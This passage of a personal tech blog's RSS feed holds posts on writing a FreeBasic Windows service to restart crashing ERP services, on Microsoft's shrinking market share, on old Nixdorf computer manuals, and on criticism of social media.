Tomas Jakobs&lt;/p></content></item><item><title>At My Service</title><link>https://blog.jakobs.systems/en/blog/20230412-service-in-freebasic/</link><pubDate>Wed, 12 Apr 2023 06:50:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20230412-service-in-freebasic/</guid><description>Windows Services - a sad Story with a happy Ending. Or how I was able to avoid a lot of pain for a Customer with a small Tool a few days before the Easter Holidays</description><category>Windows</category><category>Services</category><category>gcc</category><category>FreeBasic</category><category>SCM</category><category>PowerShell</category><content>&lt;p>Crashed services of a business software are inconvenient. If they occur more than once, it becomes annoying. If there is also a software supplier who is unwilling or unable to solve the problem, it gets complicated. A quick and pragmatic solution was needed shortly before the Easter holidays. If only there was not another obstacle in the way: It is all about Windows services.&lt;/p>
&lt;h2 id="no-progress-with-on-board-resources">No progress with on-board resources&lt;/h2>
&lt;p>Usually, modern operating systems provide an administrator with the necessary tools to control services. In Windows, it is the graphical snap-in services.msc in the Microsoft Management Console&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>, which has barely changed since NT4 Option Pack. You can set the start modes and up to three error handling modes:&lt;/p>
&lt;ul>
&lt;li>Restart a service&lt;/li>
&lt;li>Execute a programme&lt;/li>
&lt;li>Restart the computer&lt;/li>
&lt;/ul>
&lt;p>Unfortunately, these actions can only be applied to three error responses. After the fourth error, the service remains dead for at least one day. Someone in Redmond thought in the late 90s of the last millennium that the error counter only had to be set by full day. The graphical service control of Windows is therefore unsuitable. The interface, unchanged for decades, is a statement manifested in code that will not change in the future.&lt;/p>
&lt;p>What about the PowerShell?&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> Missing functions in the GUI normally can be found there. But again, an admin looks into the abyss of a technological pile of broken pieces that has been accumulated and left untouched for decades.&lt;/p>
&lt;p>The instance responsible for services in Windows is the Service Control Manager, SCM in short.&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> Since NT4 times, there has been no way around this by design. In the .NET Framework there are methods and properties for starting or stopping services. The direct way to the unmanaged&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> SCM remains conceptually denied. The lack of functions corresponds to that of the graphical user interface.&lt;/p>
&lt;p>An indirect, rather &amp;ldquo;dirty way&amp;rdquo; is described in the MSDN article &amp;ldquo;Writing Windows Services in PowerShell&amp;rdquo;.&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> A C-program generated from a PowerShell script is registered and executed as a service by the runtime. The disadvantages of this basic solution speak for themselves: Where normally one EXE file is sufficient, one has to deal with several scripts and one executable. The script execution, which by default is switched off for good reasons, must be activated system-wide. The overhead of the .NET script interpreter&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> is dragged alongside. The usual service accounts with low privileges do not work. Full administration rights are necessary. This is, what security and programming madness looks like, no one wants to see in a production environment. The author of the MSDN article is well aware of this:&lt;/p>
&lt;blockquote>
&lt;p>A service script written in Windows PowerShell will be good for prototyping a concept and for tasks with low performance costs (&amp;hellip;) But for any high performance task, a rewrite in C++ or C# is recommended.&lt;/p>
&lt;/blockquote>
&lt;p>There is no way forward with Windows on-board utilities. A system without the possibility of controlling services is by definition not an operating system and has no role at all in any productive environment. However, this discussion has to be addressed elsewhere.&lt;/p>
&lt;h2 id="a-service-is-needed">A service is needed&lt;/h2>
&lt;p>Back to the initial problem: How can troublesome, erratically crashing services be controlled and automatically restarted? With another service that queries the status via SCM and restarts them if necessary. All done noiselessly and unagitatedly. Which services are to be monitored is specified in a text file that is to be editable by the administrator.&lt;/p>
&lt;p>For such tasks I have a secret weapon. Machine-oriented (it can even be programmed inline in assembler), &amp;ldquo;rocksolid&amp;rdquo; proven over many decades, with the full range of all language features of modern high-level languages and yet easy to handle. C-compatible libraries can be directly integrated and bindings exist for pretty much anything and everything. Of course, it&amp;rsquo;s all free and open source.&lt;/p>
&lt;h2 id="the-solution-servicewatcher">The solution: Servicewatcher&lt;/h2>
&lt;p>I created the servicewatcher in about two hours using the programming language Freebasic&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup> and compiled it in the fbc integrated gcc.&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup> The 64 bit Windows EXE is only 56 KB in size. Native&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup> without any dependencies only 524 KB of RAM are needed. The CPU load is not measurable.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20230411-servicewatcher1.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20230411-servicewatcher1.webp#c" alt="the servicewatcher in action with minimal memory requirements" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>In doing so, I have not reinvented the wheel. A ready-made example in C for Windows services exists in the MSDN.&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup> In the German Freebasic portal someone has already made efforts to port it.&lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup> However, the implementation unfortunately did not run in 64 bit and lacked some required functions. But it was a good start and served as a basis. I was able to derive the missing pieces of the puzzle from the MSDN.&lt;/p>
&lt;p>Any better code editor with a freely configurable build system is suitable as an IDE. Under Linux I use Geany &lt;sup id="fnref:12">&lt;a href="#fn:12" class="footnote-ref" role="doc-noteref">12&lt;/a>&lt;/sup>. GTK surfaces I create visually with GNOME Glade.&lt;sup id="fnref:13">&lt;a href="#fn:13" class="footnote-ref" role="doc-noteref">13&lt;/a>&lt;/sup> Because I have to talk to the Windows SCM for the servicewatcher and don&amp;rsquo;t need a UI for the console application&lt;sup id="fnref:14">&lt;a href="#fn:14" class="footnote-ref" role="doc-noteref">14&lt;/a>&lt;/sup>, I left my usual environment and programmed everything in a Windows VM with FBEdit&lt;sup id="fnref:15">&lt;a href="#fn:15" class="footnote-ref" role="doc-noteref">15&lt;/a>&lt;/sup> written itself in Freebasic.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20230411-servicewatcher2.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20230411-servicewatcher2.webp#c" alt="Screenshot of FBEdit, a free IDE created in Freebasic" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Those who have already used Basic dialects will immediately find their way around in Freebasic. It fulfils all the requirements that are expected of object-oriented&lt;sup id="fnref:16">&lt;a href="#fn:16" class="footnote-ref" role="doc-noteref">16&lt;/a>&lt;/sup> languages. If you really want to push to the extremes, you can abuse everyting and create &amp;ldquo;Quick and Dirty&amp;rdquo; imperative&lt;sup id="fnref:17">&lt;a href="#fn:17" class="footnote-ref" role="doc-noteref">17&lt;/a>&lt;/sup> progams like in GWBASIC.&lt;sup id="fnref:18">&lt;a href="#fn:18" class="footnote-ref" role="doc-noteref">18&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Perhaps it is due to my past that I first came into contact with BASIC&lt;sup id="fnref:19">&lt;a href="#fn:19" class="footnote-ref" role="doc-noteref">19&lt;/a>&lt;/sup> on a Commodore C64 in the 80s. On my first Schneider Euro-PC I used Turbo-Basic and its successor Power-Basic.&lt;sup id="fnref:20">&lt;a href="#fn:20" class="footnote-ref" role="doc-noteref">20&lt;/a>&lt;/sup> Visual-Basic followed in the 90s, much later VB.NET and Xojo. To this day, BASIC in its modern, high-level form is somehow closer to me than C or Python.&lt;/p>
&lt;p>Small challenges and tools like servicewatcher are therefore welcome and quickly &amp;ldquo;written down&amp;rdquo; simply doing their job without fuss.&lt;/p>
&lt;pre tabindex="0">&lt;code>Sub ServiceStopRaw()
Dim ServiceStat As SERVICE_STATUS
Dim hServiceControlManager As HANDLE
Dim hService As HANDLE
hServiceControlManager = OpenSCManager(pg-&amp;gt;wsComputerName, BYVAL NULL, SC_MANAGER_CREATE_SERVICE)
If hServiceControlManager Then
hService = OpenService(hServiceControlManager, pg-&amp;gt;wsServiceName, SERVICE_ALL_ACCESS)
If hService Then ControlService(hService, SERVICE_CONTROL_STOP, @ServiceStat)
CloseServiceHandle(hServiceControlManager)
EndIf
End Sub
&lt;/code>&lt;/pre>&lt;p>Of course the original cause of the crashing services of the enterprise resource planning solution has not been solved. But the solution programmed in Freebasic relieves the customer&amp;rsquo;s pains.&lt;/p>
&lt;p>As expected and appropriate, he has received the GPL source code together with a short documentation as a Git repo.&lt;/p>
&lt;p>Have a good day,&lt;br>
Yours, Tomas Jakobs&lt;/p>
&lt;h3 id="update-07082024">Update 07.08.2024:&lt;/h3>
&lt;p>You&amp;rsquo;ll find the repo of this project on codeberg.org:&lt;br>
&lt;a href="https://codeberg.org/tomas-jakobs/servicewatcher">https://codeberg.org/tomas-jakobs/servicewatcher&lt;/a>&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Microsoft_Management_Console">https://de.wikipedia.org/wiki/Microsoft_Management_Console&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/PowerShell">https://de.wikipedia.org/wiki/PowerShell&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Service_Control_Manager">https://en.wikipedia.org/wiki/Service_Control_Manager&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Managed_code">https://en.wikipedia.org/wiki/Managed_code&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://learn.microsoft.com/en-us/archive/msdn-magazine/2016/may/windows-powershell-writing-windows-services-in-powershell">https://learn.microsoft.com/en-us/archive/msdn-magazine/2016/may/windows-powershell-writing-windows-services-in-powershell&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Interpreter">https://de.wikipedia.org/wiki/Interpreter&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://freebasic.net/">https://freebasic.net/&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://gcc.gnu.org/">https://gcc.gnu.org/&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Native_%28computing%29">https://en.wikipedia.org/wiki/Native_%28computing%29&lt;/a>&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>&lt;a href="https://learn.microsoft.com/de-de/windows/win32/services/the-complete-service-sample">https://learn.microsoft.com/de-de/windows/win32/services/the-complete-service-sample&lt;/a>&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11">
&lt;p>&lt;a href="https://freebasic-portal.de/code-beispiele/system/windows-service-beispiel-306.html">https://freebasic-portal.de/code-beispiele/system/windows-service-beispiel-306.html&lt;/a>&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:12">
&lt;p>&lt;a href="https://geany.org/">https://geany.org/&lt;/a>&amp;#160;&lt;a href="#fnref:12" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:13">
&lt;p>&lt;a href="https://wiki.gnome.org/Apps/Glade">https://wiki.gnome.org/Apps/Glade&lt;/a>&amp;#160;&lt;a href="#fnref:13" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:14">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Console_application">https://en.wikipedia.org/wiki/Console_application&lt;/a>&amp;#160;&lt;a href="#fnref:14" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:15">
&lt;p>&lt;a href="https://sourceforge.net/projects/fbedit/">https://sourceforge.net/projects/fbedit/&lt;/a>&amp;#160;&lt;a href="#fnref:15" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:16">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Object-oriented_programming">https://en.wikipedia.org/wiki/Object-oriented_programming&lt;/a>&amp;#160;&lt;a href="#fnref:16" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:17">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Imperative_programming">https://en.wikipedia.org/wiki/Imperative_programming&lt;/a>&amp;#160;&lt;a href="#fnref:17" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:18">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/GW-BASIC">https://en.wikipedia.org/wiki/GW-BASIC&lt;/a>&amp;#160;&lt;a href="#fnref:18" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:19">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/BASIC">https://en.wikipedia.org/wiki/BASIC&lt;/a>&amp;#160;&lt;a href="#fnref:19" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:20">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/PowerBASIC">https://en.wikipedia.org/wiki/PowerBASIC&lt;/a>&amp;#160;&lt;a href="#fnref:20" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Some baselines on Microsoft</title><link>https://blog.jakobs.systems/en/micro/20230325-microsoft-baselines/</link><pubDate>Sat, 25 Mar 2023 14:01:28 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20230325-microsoft-baselines/</guid><description>Some baselines on Microsoft and the Internet</description><category>Microsoft</category><category>Internet</category><category>Baselines</category><content>&lt;p>In a developer forum today I came across a Netcraft statistic that shows how meaningless Mirosoft has become with its IIS server, .aspx and .NET webservices.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>&lt;/p>
&lt;blockquote>
&lt;p>The largest loss in sites for a major vendor this month comes from Microsoft, which is down 2,866,173 sites (-9.59%) and 74,094 domains (-0.98%).&lt;/p>
&lt;/blockquote>
&lt;p>Since the peak in 2017/2018 with over 50% share of web servers, the statistics show only one direction. All this in the face of steadily growing server sales&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> and more VMs or containers per unit.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20230325-internet-baseline.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20230325-internet-baseline.webp#c" alt="Netcraft statistics on web server distribution" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Today, Microsoft is languishing somewhere below 5% in almost all metrics. Only in mail server usage it holds up at 13% with its outlook.com servers and more or less forced hybrid Exchange usage.&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>&lt;/p>
&lt;p>If these baselines are not enough and you still think Microsoft is the non plus ultra, here are a few more data points:&lt;/p>
&lt;ol>
&lt;li>Merely 1.2% of all internet hosts come from the Azure.&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>&lt;/li>
&lt;li>Half of the world&amp;rsquo;s internet traffic comes from mobile devices&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>, where Microsoft has no relevance.&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>&lt;/li>
&lt;li>Only 27% of all devices on the internet are powered by Microsoft Windows, and the trend is downward.&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup>&lt;/li>
&lt;/ol>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20230325-internet-baseline2.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20230325-internet-baseline2.webp#c" alt="statcounter statistics on Windows penetration" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Especially when looking at the long term, it becomes clear how Microsoft has literally crashed in almost all metrics from a high level in the past 5-10 years.&lt;/p>
&lt;p>Anyone making long-term technology decisions for their business today would be well advised not to gamble on Microsoft.&lt;/p>
&lt;p>With a steadily rising share price&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup> and a steadily shrinking market share, it doesn&amp;rsquo;t take a degree in economics to predict that a drastic caesura is imminent.&lt;/p>
&lt;p>With this in mind,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://news.netcraft.com/archives/2023/02/28/february-2023-web-server-survey.html">https://news.netcraft.com/archives/2023/02/28/february-2023-web-server-survey.html&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://statista.com/statistics/219596/worldwide-server-shipments-by-vendor/">https://statista.com/statistics/219596/worldwide-server-shipments-by-vendor/&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://w3techs.com/technologies/overview/email_server">https://w3techs.com/technologies/overview/email_server&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://w3techs.com/technologies/overview/data_center">https://w3techs.com/technologies/overview/data_center&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://broadbandsearch.net/blog/internet-statistics">https://broadbandsearch.net/blog/internet-statistics&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Usage_share_of_operating_systems#/media/File:World_Wide_Smartphone_Sales.png">https://en.wikipedia.org/wiki/Usage_share_of_operating_systems#/media/File:World_Wide_Smartphone_Sales.png&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://gs.statcounter.com/os-market-share#monthly-200901-202302">https://gs.statcounter.com/os-market-share#monthly-200901-202302&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://finanzen.net/chart/microsoft">https://finanzen.net/chart/microsoft&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Old Knowledge</title><link>https://blog.jakobs.systems/en/micro/20230319-old-knowledge/</link><pubDate>Sun, 19 Mar 2023 21:23:10 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20230319-old-knowledge/</guid><description>Found this week something in a customer's basement</description><category>Nixdorf</category><category>Knowledge</category><content>&lt;p>This week, I found these treasures from the digital prehistoric times in a customer&amp;rsquo;s basement:&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20230319-altes-wissen3.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20230319-altes-wissen3.webp#c" alt="Operating- and Programming-Handbooks of a Nixdorf 8870 Quattro 45" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>The Nixdorf 8870 Quattro/45&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> with its real-time operating system and the &amp;ldquo;Workplace 80&amp;rdquo; as a terminal. Devices from Nixdorf were once in every bank and behind every ATM. Unfortunately, the fate of the company&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> was sealed with the early death of the company founder Heinz Nixdorf&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20230319-altes-wissen.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20230319-altes-wissen.webp#c" alt="Instructions how to clean a tape drive" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>The world of midrange data technology&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> pursues an innovative holistic approach to digitization. Today&amp;rsquo;s terminal server-based environments with ERP solutions are basically just much too complex variations of this approach.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20230319-altes-wissen2.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20230319-altes-wissen2.webp#c" alt="Instructions for using a floppy disk" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Teaching aspiring IT professionals how to handle a flexible 8&amp;quot; or 5.25&amp;quot; floppy disk is hardly possible. The fact that a notch had to be punched on the side or a piece of tape was enough to override the copy protection is also a knowledge that is missing and at risk of being lost.&lt;/p>
&lt;p>My personal tip for rainy days: Visit the world&amp;rsquo;s largest computer museum, HNF, in Paderborn.&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>&lt;/p>
&lt;p>In this sense,&lt;br>
have a good start into the new week!&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://www.whiteberry.de/2008/04/23/quattro-8870-die-grundlagen/">https://www.whiteberry.de/2008/04/23/quattro-8870-die-grundlagen/&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Nixdorf_Computer">https://de.wikipedia.org/wiki/Nixdorf_Computer&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Heinz_Nixdorf">https://de.wikipedia.org/wiki/Heinz_Nixdorf&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Mittlere_Datentechnik">https://de.wikipedia.org/wiki/Mittlere_Datentechnik&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>🚫 &lt;a href="https://www.hnf.de">https://www.hnf.de&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>On the wrong side of history</title><link>https://blog.jakobs.systems/en/blog/20230319-social-media/</link><pubDate>Sun, 19 Mar 2023 10:10:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20230319-social-media/</guid><description>About the so-called social media</description><category>Facebook</category><category>Twitter</category><category>Whatsapp</category><category>Instagram</category><category>Media</category><content>&lt;p>Journalist Carole Cadwalladr&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> said it in her TED Talk&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>, and she meant Facebook. It has been proven since the Cambridge Analytica scandal&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> that so-called &amp;ldquo;social&amp;rdquo; media are anything but social. They are a catalyst for hate and racism&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>, give more reach to radical and extremist positions, do not comply with laws&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>, and prevent public discourse&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>. They are diametrically opposed to our societal values.&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup>&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20230319-socialmedia.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20230319-socialmedia.webp#c" alt="Detail from a screenshot of logos of so-called social services" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Free from control and in the fog of opacity, so-called social media do not consider human fates. Target maximization is more important than the common good. Fake news spreads up to six times faster than fact-based news reports.&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup> Even US President Joe Biden didn&amp;rsquo;t mince words when asked about the so-called social media&amp;rsquo;s handling of COVID-19 misinformation:&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup>&lt;/p>
&lt;blockquote>
&lt;p>They&amp;rsquo;re killing people.&lt;/p>
&lt;/blockquote>
